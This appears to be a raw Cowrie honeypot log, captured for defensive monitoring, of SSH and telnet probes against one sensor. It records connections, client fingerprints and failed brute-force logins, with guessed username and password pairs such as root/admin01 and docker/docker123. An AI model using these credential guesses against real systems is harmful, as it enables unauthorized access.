{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:01.821715Z","src_ip":"213.135.168.228","session":"69de333c996e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.81042623519897,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:02.035751Z","src_ip":"152.42.224.71","session":"d2d8a22a2fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:02.448464Z","src_ip":"45.132.125.41","session":"7ee3a57093af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57292,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f19f322d62e","protocol":"ssh","message":"New connection: 176.65.132.129:57292 (159.203.135.109:22) [session: 3f19f322d62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:02.683893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:02.689499Z","src_ip":"176.65.132.129","session":"3f19f322d62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:02.772772Z","src_ip":"176.65.132.129","session":"3f19f322d62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:03.020954Z","src_ip":"176.65.132.129","session":"3f19f322d62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:04.106502Z","src_ip":"176.65.132.129","session":"3f19f322d62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46668,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd7877d7762b","protocol":"ssh","message":"New connection: 176.65.132.129:46668 (159.203.135.109:22) [session: fd7877d7762b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:06.093148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:06.134435Z","src_ip":"176.65.132.129","session":"fd7877d7762b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:06.177697Z","src_ip":"176.65.132.129","session":"fd7877d7762b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:06.497689Z","src_ip":"176.65.132.129","session":"fd7877d7762b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:07.584323Z","src_ip":"176.65.132.129","session":"fd7877d7762b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46694,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a9bd77e4dd","protocol":"ssh","message":"New connection: 176.65.132.129:46694 (159.203.135.109:22) [session: 16a9bd77e4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.407130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.413285Z","src_ip":"176.65.132.129","session":"16a9bd77e4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.496448Z","src_ip":"176.65.132.129","session":"16a9bd77e4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":47246,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69b9fa79b92","protocol":"ssh","message":"New connection: 186.13.24.118:47246 (10.17.0.5:22) [session: c69b9fa79b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.722110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.730950Z","src_ip":"186.13.24.118","session":"c69b9fa79b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":43036,"dst_ip":"159.203.135.109","dst_port":22,"session":"513469d63ab0","protocol":"ssh","message":"New connection: 23.249.28.115:43036 (159.203.135.109:22) [session: 513469d63ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.738362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.743833Z","src_ip":"23.249.28.115","session":"513469d63ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.750299Z","src_ip":"176.65.132.129","session":"16a9bd77e4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.889250Z","src_ip":"186.13.24.118","session":"c69b9fa79b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:09.936603Z","src_ip":"23.249.28.115","session":"513469d63ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:10.549340Z","src_ip":"186.13.24.118","session":"c69b9fa79b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isar123","message":"login attempt [root/isar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:10.746401Z","src_ip":"23.249.28.115","session":"513469d63ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:10.876947Z","src_ip":"176.65.132.129","session":"16a9bd77e4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:11.710209Z","src_ip":"186.13.24.118","session":"c69b9fa79b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:11.941767Z","src_ip":"23.249.28.115","session":"513469d63ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.565199851989746,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:11.961746Z","src_ip":"152.42.224.71","session":"f7555d329d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46702,"dst_ip":"159.203.135.109","dst_port":22,"session":"0756fe1fd01b","protocol":"ssh","message":"New connection: 176.65.132.129:46702 (159.203.135.109:22) [session: 0756fe1fd01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:12.637425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:12.642293Z","src_ip":"176.65.132.129","session":"0756fe1fd01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:12.724669Z","src_ip":"176.65.132.129","session":"0756fe1fd01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:13.033001Z","src_ip":"176.65.132.129","session":"0756fe1fd01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34556,"dst_ip":"10.17.0.5","dst_port":23,"session":"26c4b56e74b0","protocol":"telnet","message":"New connection: 152.42.224.71:34556 (10.17.0.5:23) [session: 26c4b56e74b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:14.036507Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:14.120983Z","src_ip":"176.65.132.129","session":"0756fe1fd01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38078,"dst_ip":"159.203.135.109","dst_port":22,"session":"212563aed8ca","protocol":"ssh","message":"New connection: 176.65.132.129:38078 (159.203.135.109:22) [session: 212563aed8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:16.049862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:16.055209Z","src_ip":"176.65.132.129","session":"212563aed8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:16.138519Z","src_ip":"176.65.132.129","session":"212563aed8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:16.391463Z","src_ip":"176.65.132.129","session":"212563aed8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:17.477656Z","src_ip":"176.65.132.129","session":"212563aed8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38082,"dst_ip":"159.203.135.109","dst_port":22,"session":"d16707f43c7c","protocol":"ssh","message":"New connection: 176.65.132.129:38082 (159.203.135.109:22) [session: d16707f43c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.326159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.330719Z","src_ip":"176.65.132.129","session":"d16707f43c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.413262Z","src_ip":"176.65.132.129","session":"d16707f43c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":40290,"dst_ip":"159.203.135.109","dst_port":22,"session":"59fd50300a54","protocol":"ssh","message":"New connection: 101.32.240.31:40290 (159.203.135.109:22) [session: 59fd50300a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.582205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:19.587238Z","src_ip":"101.32.240.31","session":"59fd50300a54","protocol":"ssh"}
